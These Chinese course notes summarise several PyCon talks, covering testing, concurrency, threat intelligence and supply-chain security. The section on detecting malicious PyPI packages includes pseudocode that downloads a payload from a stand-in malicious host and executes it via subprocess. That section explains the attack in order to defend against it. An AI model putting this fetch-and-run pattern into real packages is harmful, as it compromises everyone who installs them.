演讲 10:使用 GPT-2 生成食谱 👩🍳


亚历克莎展示了如何使用深度学习模型生成食谱,并强调入门并不难。
她使用 gpt2-simple 包微调GPT-2模型来生成食谱,过程分为五步:
- 获取模型:使用预训练的GPT-2。
- 准备数据:将食谱数据集处理成文本格式,添加特殊标记(如
<|startofrecipe|>)。 - 微调模型:在食谱数据上继续训练模型。
import gpt2_simple as gpt2 gpt2.finetune(sess, dataset=‘recipes.txt’, steps=1000) - 设计提示:使用“少样本学习”,在提示中给出几个完整食谱示例,引导模型生成符合格式的内容。
- 生成文本:调整“温度”等参数控制生成结果的创造性。


她指出,生成的食谱可能存在问题(如“使用空调搅拌”),需要通过更多数据、更长时间训练和优化提示来改进。
演讲 11:Django 升级实践 📈
斯里尼瓦斯分享了将大型单体应用从Django 1.11升级到新版本的经验。
升级的主要动力是安全更新和性能提升。他们的关键实践包括:
- 管理依赖:明确固定或放开依赖版本,利用
pip-compile生成带哈希的依赖文件,清晰管理传递依赖。 - 利用工具:使用
django-upgrade等开源工具自动修复弃用警告。 - 仔细阅读发布说明:这是了解破坏性变更和升级路径的最重要文档。
演讲 12:何时用 Rust 重写 Python 模块 ⚙️


最后,阿德里安分享了将Python标准库 graphlib 模块用Rust重写的经验。
他总结了何时考虑重写:
- 模块是CPU密集型的。
- 模块相对独立,接口清晰。
- 已有完善的测试。
在重写过程中,他遇到了几个关键挑战及解决方案:
- 哈希的“可抛异常性”:Python对象的
__hash__可能抛出异常,而Rust的哈希函数不能。解决方案是在Rust中调用Python哈希并提前处理异常。 - 跨越语言边界的开销:频繁在Python和Rust之间切换调用成本很高。他通过在Rust侧进行引用比较等优化,减少了回调Python的次数。
- 可变性设计:Rust的所有权规则要求更明确的数据结构设计。他将节点数据拆分为可变和不可变两部分来满足借用检查器。
他的建议是:先用Python设计和优化API,定位热点,再考虑用Rust重写关键部分,同时精心设计以减少跨语言调用。
本节课总结 🎉


我们一起学习了PyCon第二天下午一系列精彩的闪电演讲。内容涵盖了从社区与文化(多语言支持、首次参会体验、开源比喻),到实用工具与技巧(代码检查、数据关联、沟通、安全、迁移测试),再到前沿技术实践(性能基准测试、AI生成内容、框架升级、Rust重写)的广阔主题。这些短小精悍的分享体现了Python社区的活力、创造力和务实精神,为初学者和资深开发者都提供了宝贵的灵感和知识。
015:闪电演讲 - 第三天




在本节课中,我们将学习来自PyCon闪电演讲第三天的多个精彩主题。内容涵盖如何编写专业的测试用例、计算思维的核心概念、实用的开发者工具、机器学习的数据处理策略、Python官方文档的阅读技巧,以及社区活动的组织经验。每个主题都旨在提供简单直白的知识,帮助初学者快速理解核心思想。
1:如何编写专业的测试用例 🧪
测试是软件开发中确保代码质量与安全性的关键环节。上一节我们概述了本课程的内容,本节中我们来看看如何结构化地编写测试用例。
测试的本质是交互加上验证。测试用例则是执行这些交互与验证的具体步骤。无论是单元测试、集成测试还是端到端测试,其核心都是尝试某种操作并报告通过或失败的结果。
编写优秀测试用例的一个有效模式是 “安排-行为-断言” 模式。这个模式为测试提供了清晰的结构。
以下是该模式的具体步骤:

- 安排:设置测试的初始状态和输入数据。例如,创建对象、准备数据库或登录应用程序。
- 行为:执行需要测试的核心操作。例如,调用一个函数、访问API或与用户界面交互。
- 断言:验证操作的结果是否符合预期。例如,检查返回值、系统状态或输出内容。

这个模式也常被称为 “Given-When-Then” 格式,它们本质上是相同的。
让我们通过一个Python单元测试的例子来具体说明。以下是一个测试绝对值函数 abs() 的简单用例:
def test_abs_of_negative_number():
# 安排:创建一个负数作为输入
negative_number = -5
# 行为:调用abs函数
answer = abs(negative_number)
# 断言:验证结果是正数
assert answer > 0
我们也可以将这个模式应用于更复杂的场景,例如测试一个网络API。以下示例使用 requests 库测试DuckDuckGo即时答案API:

import requests
def test_duckduckgo_instant_answer_api():
# 安排:构造请求URL
url = “https://api.duckduckgo.com/”
params = {“q”: “Python programming”, “format”: “json”}
# 行为:发送HTTP GET请求并解析JSON响应
response = requests.get(url, params=params)
response_body = response.json()
# 断言:验证状态码和响应内容
assert response.status_code == 200
assert “Python” in response_body[“AbstractText”]



使用“安排-行为-断言”模式能使每个测试用例只关注一个独立行为,从而在测试失败时更容易定位问题根源。
2:计算思维及其在教育中的应用 🧠

上一节我们介绍了编写测试的结构化方法,本节中我们来看看一种超越编程的思维方式——计算思维。

计算思维是计算机科学背后的核心概念,它关注如何形成有效的解决方案,而不涉及具体的编程语法。这种思维模式包含四个主要组成部分,适用于各个学科和现实问题。



以下是计算思维的四个核心组件:


- 分解:将复杂问题拆解成更小、更易管理的部分。
- 模式识别:在问题或数据中寻找规律或趋势。
- 抽象:忽略不必要的细节,专注于关键概念。
- 算法设计:创建一步步解决问题的清晰指令。
以在一个会议中心寻找房间为例,我们可能无意识地运用了计算思维:先寻找指示牌(模式识别),若无则选择方向尝试(算法设计),并重复此过程直到找到目标(循环)。有意识地运用这些步骤,可以优化解决问题的过程。

将计算思维融入教育,并非要取代编程教学,而是作为其坚实的基础。它不需要开设全新课程,而是可以将相关概念整合进现有的数学、科学乃至语文课程中,帮助学生从根本上改变分析和解决问题的方式。


3:实用工具介绍:latest.cat 🛠️


在理解了计算思维这种宏观理念后,本节我们来看一个解决具体微观问题的实用工具。
开发者经常需要查询软件的最新版本号,这个过程往往需要打开浏览器并访问官网,步骤繁琐。latest.cat 是一个命令行工具,旨在简化这一过程。
该工具允许用户快速查询多种编程语言和工具的最新版本。其使用方式非常简单直接。


以下是使用 latest.cat 的基本示例:
# 查询 Python 的最新版本
$ curl latest.cat/python
3.9.12
# 使用工具自带的 `kers` 脚本查询
$ kers -s python
Loading latest version of python...
3.9.12
该工具目前支持 Python、Node.js、PHP、Rust 等多种软件,并且是开源的。用户可以通过提交 Pull Request 来为其添加对新软件的支持,从而帮助整个社区提升效率。
4:行为驱动的机器学习策略 🤖
从实用的工具转向数据科学领域,本节我们来探讨一种更高效的机器学习模型训练策略。
传统的机器学习教学通常建议使用所有可用数据来训练模型。然而,在工业实践中,并非所有数据都具有同等价值。一种更优的策略是采用“行为驱动”或“主动学习”的方法,即智能地选择对模型改进最有帮助的数据进行训练。


这种方法的核心步骤是通过迭代来寻找数据集中最重要的样本。
以下是行为驱动机器学习的关键步骤:
- 初始采样:不对整个数据集进行随机采样(可能引入偏见),而是先进行聚类,再从每个聚类中选取代表性样本作为初始训练集。
- 模型训练与评估:使用初始训练集训练一个模型,该模型会在某些“不确定”区域(如置信度接近50%的边界)表现困惑。
- 智能扩充:将这些模型感到“困惑”的数据点加入训练集。
- 迭代优化:用扩充后的训练集重新训练模型,并重复步骤2和3。模型性能会先提升后下降,峰值点即对应最优模型。

这种方法有多重优势:对于有标签的数据集,可以用更少的数据训练出最佳模型;对于无标签的数据集,可以大幅减少需要人工标注的数据量;同时,它还有助于减少模型因数据分布不均而产生的偏见。
5:如何阅读与利用Python增强提案 📄

了解了前沿的机器学习方法后,我们回到Python语言本身,探索其发展的蓝图——PEP文档。

PEP是Python增强提案的缩写,它们是描述新特性、技术规范及社区流程的官方文档。阅读PEP不仅能了解功能的具体实现,还能洞察语言设计的历史与决策过程。


PEP文档是高度技术性的,通常不是学习如何使用某个功能的最佳教程,但却是理解其“为何如此设计”的绝佳材料。例如,PEP 8是广为人知的代码风格指南,而PEP 636则提供了关于模式匹配的出色教程。
为了方便查阅,社区提供了 pep 命令行工具,可以快速获取和转换PEP文档。
以下是使用 pep 工具的一些示例:
# 在终端中查看PEP 8的内容
$ pep 8 | less
# 在浏览器中打开PEP 8的网页
$ pep -w 8

# 将PEP 13转换为Markdown格式并保存
$ pep --markdown 13 > pep-13.md

通过阅读PEP,尤其是其中的“动机”和“被拒绝的提案”部分,开发者可以深入理解Python语言的设计哲学和演变轨迹。
6:后疫情时代的线下技术社区重启 🎪
最后,让我们从技术文档回到人与人连接的层面,探讨后疫情时代线下技术社区面临的挑战与机遇。
组织线下技术聚会(如Python本地聚会)在疫情后遇到了显著挑战:人们习惯了线上会议的便利,对重返线下感到不确定;组织者在协调工作、生活与社区活动时感到疲惫;寻找演讲者和维持社区热度也变得更为困难。
尽管面临困境,许多社区通过坚持举办高质量的线上活动成功保持了活力。例如,某个地方Python聚会小组在两年内不间断地举办了20多次虚拟会议,保持了社区的凝聚力。


当前的目标是安全地重启线下聚会。这需要组织者付出更多努力,同时也离不开公司的赞助(提供场地、食物等)和社区成员的积极参与。线下聚会所带来的面对面交流、即时反馈和深度社交联系,是线上活动难以完全替代的宝贵体验。

7:全球Python社区会议巡礼 🌍

在思考本地社区重启的同时,全球Python社区也充满了活跃的交流活动。本节我们简要了解一些即将举行的地区性PyCon会议。
以下是部分即将举行的Python会议信息:
- PyCon Europe:将于7月举行,包含研讨会、主题演讲和编程冲刺,是体验国际Python社区氛围的好机会。
- PyDay San Francisco:一个在旧金山举办的单日户外Python会议,注重交流与分享。
- PyCon Japan:日本最大的Python会议,提供日语和国际化的内容,线上线下结合。
- PyCon Taiwan:将以线上形式举行,汇聚亚太地区的Python开发者。
- Python Brasil:巴西的Python大会,提供葡萄牙语和西班牙语支持,活动形式多样。
参加这些会议是学习新知、拓展视野和结识同好的绝佳途径。

本节课中我们一起学习了多个软件工程与Python实践的独立主题。我们从编写结构清晰的测试用例开始,探讨了计算思维这一基础方法论,接着介绍了提升效率的开发者工具和先进的机器学习数据策略。然后,我们深入了解了如何通过阅读PEP来理解Python语言的设计,并最后关注了线下技术社区的组织与全球Python会议的动态。这些内容涵盖了从具体代码实践到抽象思维,再到社区建设的多个层面,希望能为你的学习和职业发展提供启发。
016:为什么异步应该得到所有关注


概述
在本节课中,我们将学习Python中两种主要的并发实现方式:线程(Threading)和异步I/O(AsyncIO)。我们将探讨它们各自的优势、适用场景,并重点学习如何使用现代线程编程技术(如concurrent.futures)编写简洁、正确的并发代码。

并发与并行
上一节我们介绍了本课程的主题。在深入比较线程和异步I/O之前,我们需要理解一个核心概念:并发(Concurrency) 与 并行(Parallelism) 的区别。
- 并行:指应用程序在多个CPU核心上同时执行多个任务。
- 并发:指程序能够处理多个任务,这些任务在时间上是交错执行的,我们不知道它们完成的顺序。它主要处理事件的部分顺序。

在Python中,由于全局解释器锁(GIL) 的存在,通常难以实现真正的并行。GIL可以简单理解为:
# GIL 的简化理解:一个线程运行Python,其他线程休眠或等待I/O。
因此,线程和AsyncIO任务通常都无法利用多个CPU核心来实现并行。它们都是实现并发的手段。
线程 vs. AsyncIO:优势对比
上一节我们澄清了基本概念,本节中我们来看看线程和AsyncIO各自的优势。网络服务器是并发的主要应用场景。
AsyncIO的优势
以下是AsyncIO的主要优势:
- 高并发与内存效率:当需要处理成千上万个大部分时间处于空闲状态的网络连接时,AsyncIO的内存效率更高。每个AsyncIO任务(约2KB)比每个线程(约10KB)占用内存少,使得AsyncIO程序在并发数增长时,内存占用增长更慢。
- 编程模型更简单(在某些情况下):AsyncIO的
await关键字明确了任务可能被挂起(切换)的点。在没有await的代码块中,执行是连续的,这避免了传统多线程编程中复杂的锁机制来保护共享状态。
线程的优势
以下是线程的主要优势:
- 速度:在现实条件下,多线程框架的吞吐量通常优于AsyncIO框架,尾部延迟也更低。AsyncIO并非Python的“加速条”。
- 兼容性:线程与最流行的Web框架(如Flask, Django)完全兼容。而使用AsyncIO可能意味着需要重写应用的大部分代码以适应新的异步框架。
现代线程编程:告别复杂的锁
上一节我们对比了两种技术的优劣,本节中我们来看看如何用现代方法简化线程编程。传统线程编程使用锁(Lock)和条件变量(Condition),代码容易出错且难以推理。
例如,一个简单的全局计数器递增操作:
counter = 0
def increment():
global counter
counter += 1 # 非原子操作,可能丢失更新
如果两个线程同时执行counter += 1,由于该操作包含“读-改-写”多个步骤,最终结果可能为1而不是2。传统解决方案需要使用锁来保护。
然而,Python的concurrent.futures模块提供了更高级的抽象。
使用 ThreadPoolExecutor 和 Future
以下是使用concurrent.futures改进线程编程的方法:
-
基础用法:使用
ThreadPoolExecutor提交任务并获取Future对象。from concurrent.futures import ThreadPoolExecutor def do_something(): return 1 with ThreadPoolExecutor() as executor: future1 = executor.submit(do_something) future2 = executor.submit(do_something) total = future1.result() + future2.result() # 等待结果并求和 -
使用
Executor.map:对于参数相同的任务,可以使用map方法更简洁地并发执行。with ThreadPoolExecutor() as executor: results = executor.map(do_something, [None, None]) # 为两个任务提供虚拟参数 total = sum(results)
处理复杂工作流
对于更复杂的工作流,例如“同时烧水和磨咖啡,然后一起冲泡”,Future对象能优雅地处理依赖关系。
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
def heat_water():
time.sleep(2) # 模拟烧水
return “热水”
def grind_coffee():
time.sleep(3) # 模拟磨咖啡
return “咖啡粉”
def brew(coffee, water):
time.sleep(4) # 模拟冲泡
return “咖啡”
with ThreadPoolExecutor() as executor:
# 并发执行烧水和磨咖啡
future_water = executor.submit(heat_water)
future_coffee = executor.submit(grind_coffee)
# 等待两个任务都完成,as_completed按完成顺序返回
for future in as_completed([future_water, future_coffee]):
print(f“完成: {future.result()}”)
# 获取结果并进行下一步
coffee = brew(future_coffee.result(), future_water.result())
print(f“可以饮用: {coffee}”)
这种方法避免了手动使用锁和信号量来协调任务,代码清晰易懂。
真实案例:服务器自发现
上一节我们学习了处理简单依赖关系的方法,本节我们来看一个更复杂的真实案例。在分布式系统(如Paxos协议实现)中,服务器启动时需要确定自己在配置列表中的身份。
解决方案是:每个服务器生成唯一ID,并发地向列表中的所有服务器(包括自己)询问其ID,通过匹配ID来识别自身。
以下是使用线程和Flask实现的简洁方案的核心逻辑:
from concurrent.futures import ThreadPoolExecutor, Future
import requests
from flask import Flask
import time
app = Flask(__name__)
self_future = Future() # 用于存储“我是谁”的结果
my_id = generate_unique_id()
@app.route(‘/id‘)
def get_id():
return my_id # 任何服务器请求都返回自己的ID
def find_myself(server_list):
"""在主线程中运行,寻找自身"""
timeout = time.time() + 60
while time.time() < timeout and not self_future.done():
for server_url in server_list:
try:
# 并发地向所有服务器发送请求
resp = requests.get(f‘{server_url}/id‘, timeout=2)
if resp.text == my_id:
self_future.set_result(server_url) # 找到自己!
return
except requests.exceptions.RequestException:
pass # 服务器可能还没启动,忽略错误
time.sleep(1)
self_future.set_exception(TimeoutError(“无法在超时时间内找到自己”))
# 启动服务器
with ThreadPoolExecutor() as executor:
# 在后台线程中运行Flask服务器
executor.submit(app.run, host=‘0.0.0.0‘, port=5000)
# 在主线程中执行自发现逻辑
find_myself([‘http://host0:5000‘, ‘http://host1:5000‘])
# 等待自发现完成,之后才能处理客户端请求
my_address = self_future.result()
print(f“我是: {my_address}”)
这个例子展示了如何用ThreadPoolExecutor和Future清晰地表达复杂的并发工作流,同时能利用流行的同步库(如Flask, requests),而无需重写为异步模式。
总结
本节课中我们一起学习了Python并发编程的核心内容。
我们明确了并发与并行的区别,并深入比较了线程与异步I/O(AsyncIO) 的适用场景:AsyncIO在需要处理极高并发且连接大多空闲的场景中内存效率更高;而线程在速度、兼容性(与主流框架如Flask/Django)方面通常更有优势。
更重要的是,我们学习了如何使用concurrent.futures模块进行现代线程编程。通过ThreadPoolExecutor和Future对象,我们可以用简洁、优雅的方式表达任务依赖和复杂工作流,避免了传统锁编程的复杂性和易错性。


对于大多数并发程序而言,线程是一个强大且实用的选择。掌握这些现代工具,你可以编写出既高效又易于维护的并发代码。
017:演讲 - 亚伦·史蒂文斯《威胁情报的 Python》


在本节课中,我们将学习亚伦·史蒂文斯关于威胁情报与Python结合的演讲内容。我们将了解威胁情报的基本概念、工作流程,以及如何利用Python工具和库来增强和自动化威胁情报分析过程,从而提升分析师的效率。
什么是威胁情报?🔍
威胁情报的核心是了解对手:他们是谁,他们做什么,以及他们如何做到。其目标是帮助防御者做出明智的决策。例如,客户可能会询问针对其行业最常见的威胁是什么,或者攻击者使用了哪些工具和技术。实现这一目标依赖于数据、专业知识和技术三者的结合。
威胁情报的工作流程🔄
威胁情报的工作流程是一个循环过程,主要包括数据收集、事件记录、上下文应用和模式识别。
数据收集
数据收集是流程的起点。分析师需要收集各种形式的取证证据,例如文件、事件日志和网络遥测数据。
事件记录
在收集数据的同时,分析师需要记录事件的发生。这不仅仅是收集数据,更是将数据组织起来,构建事件时间线,并进行数据建模,以揭示事件背后的完整图景。
上下文应用
随着事件图景逐渐清晰,分析师开始为数据应用上下文。这意味着深入分析已有信息,利用额外来源扩展信息,并从中推导出意义。例如,通过逆向工程一个文件来理解其功能。
模式识别
通过对多个调查应用上述流程,分析师可以识别出其中的模式。这些模式是分析的支柱,最终帮助我们对对手、他们的工具和目标做出评估。
上一节我们介绍了威胁情报的基本概念和工作流程,本节中我们来看看如何通过数据建模来具体实现这一流程。
数据建模示例🧩
数据建模是记录数据和分析的框架。通过一个例子可以更好地理解。
假设调查从一个看似无害的Word文档开始。分析发现,该文档包含一个宏,执行时会安装一个恶意文件。我们通过用“边”连接文档和恶意文件这两个“节点”来建立模型。
逆向工程分析显示,该恶意文件通过HTTPS与一个特定域名通信。我们继续扩展模型,加入文件的代码签名和域名的DNS解析记录。
最终,我们有足够的信息评估该文件属于“坏苹果”恶意软件家族。识别恶意软件家族是归因于特定对手的第一步。
进一步分析发现,该HTTPS通信使用的TLS证书与另一个已知归属于“邪恶博士”对手的证书存在模式上的“软关联”。通过遍历整个数据模型图,我们发现更多重叠证据,最终将此次攻击活动归因于“邪恶博士”。
通过对所有内容进行建模,团队积累的情报可以在未来的分析和调查中复用。
了解了数据建模后,我们来看看如何利用Python来增强和自动化威胁情报分析的各个环节。
使用Python赋能威胁情报分析🐍
考虑分析师的工作,我们可以用Python来增强或自动化流程中的特定部分。
- 数据收集与组织:由于数据量巨大,手动处理效率低下。我们可以用Python实现良好的I/O功能来自动化数据收集,并根据数据模型自动组织数据并发布到知识图谱中。
- 上下文应用与模式识别:我们可以为分析师提供便捷的数据源访问接口,自动提取和建模关键信息,并辅助生成检测规则。
- 用户界面:最终目标是赋能而非取代分析师。我们需要构建用户界面(UI),让分析师能轻松告诉我们他们的需求。
以下是我们在实践中常用的一些Python包和它们的功能。
1. 参数解析:argparse
我们使用argparse处理所有命令行输入。它是Python标准库的一部分,简单易用且文档完善。它提供了大量默认功能,同时保持足够的灵活性。
import argparse
parser = argparse.ArgumentParser(description=‘描述你的工具’)
parser.add_argument(‘-v’, ‘--verbose’, action=‘store_true’, help=‘启用详细输出’)
args = parser.parse_args()
通过定义核心参数模块,我们可以在多个项目的参数解析器中复用相同的参数定义,确保一致性。
2. 日志记录:logging 包
我们在整个项目中频繁使用logging包。它帮助调试、排错,并让分析师能控制输出信息的详细程度。我们将其用于文件I/O、HTTP请求和错误处理。
import logging
logging.exception(“发生了一个错误”) # 同时记录错误信息和完整堆栈跟踪
3. 控制台输出美化:rich 包
rich包为控制台输出提供了自动高亮、颜色、样式、表情符号、表格、Markdown渲染、更好的堆栈跟踪和进度条等功能。
我们可以自定义高亮规则,例如为威胁情报中常见的MD5哈希值设置高亮:
from rich.highlighter import RegexHighlighter
class ThreatHighlighter(RegexHighlighter):
base_style = “threat.”
highlights = [r“\b[a-fA-F0-9]{32}\b”] # 匹配MD5
console = Console(highlighter=ThreatHighlighter())
console.print(“找到哈希:c4ca4238a0b923820dcc509a6f75849b”)
rich还提供了优秀的日志处理器,能保留所有高亮和格式化效果。
4. HTTP 请求:httpx 包
我们使用httpx进行HTTP请求,因为它同时支持同步和异步操作,且API与流行的requests库相似。
httpx的一个强大功能是事件钩子(event hooks),允许我们在请求发出或响应到达前对其进行处理。例如,可以自动为特定API请求添加认证令牌:
import httpx
def add_auth_header(request):
if “api.internal.com” in request.url.host:
request.headers[“Authorization”] = f“Bearer {API_TOKEN}”
client = httpx.Client(event_hooks={‘request’: [add_auth_header]})
5. 数据建模实现
我们使用简单的类来表示数据模型中的节点和边。
class Node:
def __init__(self, type_, **attrs):
self.type = type_
self.attrs = attrs
self.labels = []
def add_label(self, label):
self.labels.append(label)
class Edge:
def __init__(self, source, relationship, target):
self.source = source
self.relationship = relationship
self.target = target
然后,我们可以基于这些类构建更具体的数据模型,并实现验证逻辑。最后,将模型数据转换为JSON,通过认证后的httpx客户端提交到知识图谱API。
6. 文件分析:pefile 和 asn1crypto
对于常见的Windows可执行文件(PE文件),我们使用pefile包来解析其结构,提取编译时间戳、导入哈希等信息。
import pefile
pe = pefile.PE(data=file_bytes)
compile_timestamp = pe.FILE_HEADER.TimeDateStamp
对于PE文件中的代码签名证书,我们可以结合pefile和asn1crypto包进行解析。
from asn1crypto import x509
# 假设 cert_data 是从PE文件中提取的证书字节
cert = x509.Certificate.load(cert_data)
common_name = cert.subject.native[‘common_name’]
serial_number = cert[‘serial_number’].native
7. 生成检测规则:YARA
YARA规则是威胁情报领域的行业标准之一。本质上,YARA规则是字符串,因此我们可以用Python轻松生成。
def generate_yara_rule(cert_serial, cert_cn):
rule = f“““
rule CertMatch {{
meta:
description = “Detects PE files with specific certificate”
strings:
$serial = “{cert_serial}”
$cn = “{cert_cn}”
condition:
pe.signatures[0].serial_number == $serial and pe.signatures[0].issuer contains $cn
}}
“““
return rule
我们可以基于从文件中提取的特征(如证书序列号、Rich哈希)自动生成YARA规则,用于在数据集中搜索类似的恶意软件。
给非工程师的建议:从小处着手🚀
我的团队没有软件工程师,我们都是分析师。对于处于类似情况的人,我的建议是:
- 从小处着手:先自动化那些日常中重复、耗时但不需要太多思考的“无聊”任务。
- 投资你的开发环境:选择一个适合你的IDE(如VS Code、PyCharm),并利用自动格式化和代码检查工具(如
black、pylint),这能让代码更规范、更易读。 - 生产力优于完美:我们不是要发布完美的产品。流程中的任何小改进都是胜利,节省下来的时间能让我们更专注于需要人类专业知识的复杂分析。


本节课中我们一起学习了威胁情报的核心概念、循环工作流程以及数据建模的方法。更重要的是,我们探讨了如何利用一系列强大的Python库(如argparse、logging、rich、httpx、pefile)来收集数据、美化输出、进行网络请求和文件分析,从而有效增强和自动化威胁情报分析过程。记住,目标是通过工具赋能分析师,提升效率,将人力专注于最具价值的分析环节。
018:检测恶意软件包

概述
在本节课中,我们将学习软件供应链攻击的基本概念,了解攻击者如何利用开源软件包管理器(如PyPI)传播恶意软件,并探讨如何通过自动化工具来检测和防御这类攻击。
什么是软件供应链攻击?🚨
开源软件是现代数字应用和服务构建的事实标准。这些软件通常以软件包的形式在包管理器(如NPM、PyPI)上分发。例如,PyPI托管着超过30万个Python包,每日下载量达数百万次。
任何人都可以轻松地在这些包管理器上发布软件包,通常只需一个简单的命令行命令。然而,这种便捷性也带来了安全风险:我们使用的软件可能包含由未知发布者注入的恶意代码。攻击者正是利用了这种信任关系。
根据研究,2021年的软件供应链攻击数量增加了三倍,且所有主流生态系统(NPM、PyPI等)均未能幸免。
软件供应链攻击是指攻击者瞄准供应链中的薄弱环节(如安全性较低的软件包),通过发布恶意软件包来注入恶意代码。与无意产生的漏洞不同,恶意软件是故意编写的有害代码。例如,一个软件包可能在安装后立即窃取用户的SSH密钥或比特币钱包地址。这类攻击影响范围极广,因为同一个恶意软件包可能被数百万台设备安装。
常见的攻击技术🔍
上一节我们介绍了软件供应链攻击的基本概念,本节中我们来看看攻击者常用的几种技术。
以下是几种常见的攻击手段:


-
拼写错误投机
攻击者发布名称与现有流行软件包高度相似的恶意包,利用开发者的拼写错误或经验不足来传播恶意软件。- 示例:恶意包
color-rammer伪装成流行包rammer。如果开发者输入错误,就可能安装恶意软件。
- 示例:恶意包
-
社交工程
攻击者首先伪装成良性贡献者,为开源项目贡献有用功能以获取信任,随后要求成为维护者或直接注入恶意代码。- 示例:NPM包
event-stream事件。攻击者先贡献功能,获得维护权限后,发布了窃取比特币地址的恶意代码。
- 示例:NPM包
-
依赖混淆
企业通常使用内部镜像的包管理器。攻击者通过公开信息发现企业内部使用的私有包名称,然后在公共仓库发布同名但版本号更高的恶意包。包管理器的默认行为会优先安装公共版本,从而导致恶意软件被引入企业内部系统。 -
账户劫持
攻击者通过窃取或攻陷合法维护者的账户,直接发布流行软件包的恶意更新版本。- 示例:每周下载量达800万的JavaScript包
ua-parser-js曾遭账户劫持,攻击者发布了恶意版本。
- 示例:每周下载量达800万的JavaScript包


案例研究:深入恶意软件包🕵️
了解了攻击技术后,我们通过具体案例来深入分析恶意软件包的行为。
让我们分析一个具体的恶意Python包案例。该包伪装成流行的网络代理工具 mitmproxy。
- 伪装手段:恶意包使用了与正版几乎相同的项目描述和统计数据,容易使缺乏经验的开发者误认为是正版升级。
- 恶意行为:其代码移除了系统的安全保护措施,使得同一网络上的攻击者能够通过HTTP请求在受害者机器上执行任意代码。
另一个案例是我们发现并报告给PyPI的一个恶意包。该包的主要恶意行为是:
- 从指定URL下载恶意有效载荷。
- 通过生成子进程来执行下载的代码。
通过检查,我们发现该包注册的邮箱地址无效,这进一步证实了其可疑性。
其核心恶意代码逻辑可以用以下伪代码表示:
import subprocess
import urllib.request
# 从攻击者服务器下载恶意负载
malicious_payload = urllib.request.urlopen("http://malicious-site.com/payload.exe").read()
# 执行恶意负载
subprocess.call(malicious_payload)
如何防御供应链攻击?🛡️
面对多样的攻击手段,我们该如何保护自己?安全是共同责任,需要社区、维护者、包管理器和开发者共同努力。
上一节我们看到了恶意软件包的危害,本节中我们来看看防御策略和工具。
社区与平台的措施
- 采用双因素认证:包维护者和包管理器应启用双因素认证(2FA),防止账户被劫持。
- 实施命名空间保护:包管理器可以对流行包名实施保护,降低抢注攻击的风险。
开发者的责任:零信任与自动化审核
然而,仅靠平台措施不够,因为维护者本人也可能成为攻击源(例如抗议性破坏)。因此,开发者必须采取零信任原则,即不默认信任任何软件包。
手动审核所有依赖项是不现实的。一个像 PyTorch 这样的流行包,其直接和间接依赖关系可能多达数百个,形成复杂的依赖树。
解决方案是使用自动化工具进行代码和行为审核。但现有工具(如 safety、pip-audit)主要专注于扫描公开的漏洞数据库(如NVD),对于尚未被收录的恶意软件包往往无法检测。
例如,一个演示用的恶意包可能在运行时窃取SSH密钥,但传统漏洞扫描器会报告“无风险”。
同样,盲目信任下载量、GitHub星标等“虚荣指标”也是危险的,因为这些数据容易被攻击者通过机器人等手段操控。
实战工具:packj 简介与演示🛠️
理论需要工具来实践。本节将介绍一款基于零信任原则的自动化软件包审计工具——packj。
packj 是我们开发的一款命令行工具,它采用静态分析和元数据检查相结合的方式,对软件包进行多维度风险审计。
工作原理:
- API静态分析:恶意软件要实现敏感操作(如读写文件、网络通信、执行代码),必须调用特定的系统或语言API。
packj跟踪这些高风险API调用。- 文件访问:
open,read,write - 网络通信:
socket相关API - 代码执行:
exec,eval,os.system
- 文件访问:
- 元数据分析:检查包是否长期未更新(易受攻击)、作者邮箱是否有效、是否存在公开的源代码仓库等。
- 威胁模型自定义:用户可以根据自身情况,在
threats.csv配置文件中启用或禁用特定风险检查项,以减少误报。
工具演示:
通过命令行,可以快速审计一个包:
python3 -m packj.audit --registry pypi --package <package_name>
工具会输出该包的元数据信息、发现的漏洞(CVE)以及基于静态分析检测到的风险行为(例如:“包会读取文件并生成子进程”)。
高级服务:Package.dev
除了命令行工具,我们还提供了在线服务 package.dev。它基于大规模数据集,能提供更准确的分析,并支持上传 requirements.txt 进行批量审计,以及集成CI/CD流程。
总结
本节课中,我们一起学习了软件供应链安全的核心内容:
- 风险认知:认识到开源软件包便捷发布机制背后隐藏的安全风险,以及供应链攻击的巨大危害。
- 攻击技术:了解了攻击者常用的拼写错误投机、社交工程、依赖混淆和账户劫持等手段。
- 防御理念:确立了零信任原则,明白不能依赖单一指标(如下载量)或传统漏洞扫描器来保证安全。
- 实用工具:介绍了自动化审计工具
packj及其在线服务package.dev的工作原理与使用方法,它们通过静态分析和元数据审查来主动发现恶意行为。

安全始于意识,成于工具。作为开发者,积极审计你的依赖项,是保护项目免受供应链攻击的关键一步。
019:使用中间件实现共享功能 🧩


概述
在本节课中,我们将要学习中间件(Middleware)在Python Web开发中的应用。中间件是连接应用程序不同部分的“胶水”,用于实现跨多个端点的共享功能,如日志记录、错误处理和缓存。我们将探讨在Flask、Django框架中如何使用中间件,并深入了解与框架无关的WSGI和ASGI中间件标准。
中间件的核心概念
上一张幻灯片与我们今天要讨论的内容大相径庭。


我发现的一些关键思想,确实与我产生共鸣,并且表达了中间件本质的术语,如“胶水”。这是硬件与传输层之上但应用程序环境之下之间的接口。我无法真正表达为什么,但某些地方这些术语给了我中间件本质的感觉。
今天我们真正使用中间件。当然,我们不是在谈论硬件,而是一般地作为我们应用程序不同部分之间的胶水。今天考虑一个包含一个或多个 API 端点或视图的 web 应用程序。你编写的代码实现了一个或多个端点或视图中共同的功能。示例包括页面浏览计数、集中式错误处理、缓存等许多其他功能。
WSGI规范PEP333将中间件描述为提供扩展API、内容转换、导航和其他有用功能的一种方式。这引出了我们演讲的第二个主题,针对WSGI应用程序的中间件。
Flask框架中的中间件
我将从讨论Flask应用程序开始。考虑一个非常简单的Flask应用程序,我们创建一个蓝图并定义一个处理所有请求的单一路由,我们称之为视图函数。当然,我省略了一些与此上下文无关的内容。
要在Flask中定义中间件,我们使用装饰器。一个我们使用的装饰器例子是@app.before_request。当你创建一个函数并用@app.before_request装饰器装饰它时,这个函数总是在视图函数被调用之前被调用。
当响应已生成,你用@app.after_request装饰器装饰它。当然,我在这里展示了蓝图的例子,但这同样适用于非蓝图应用程序。
这里显示了一个典型的例子,作为你可能想要使用此功能的用例。因此,假设你想记录你页面渲染的延迟。你所做的是在before_request的函数中使用Flask的g全局变量来启动计时器,然后在after_request的函数中找到当前时间和你在请求开始时记录的时间之间的差异,这将给你页面渲染的延迟。
现在,定义不止一个,而是多个这样的before_request函数是很常见的。对于我在这里指定的before_request函数,顺序是重要的,它们的定义顺序就是它们被调用的顺序。对于after_request函数,它们的调用顺序是相反的。因此,当从视图函数生成响应时,你最后定义的函数首先被调用。
Flask中间件顺序示例:
@app.before_request
def before_request_f1():
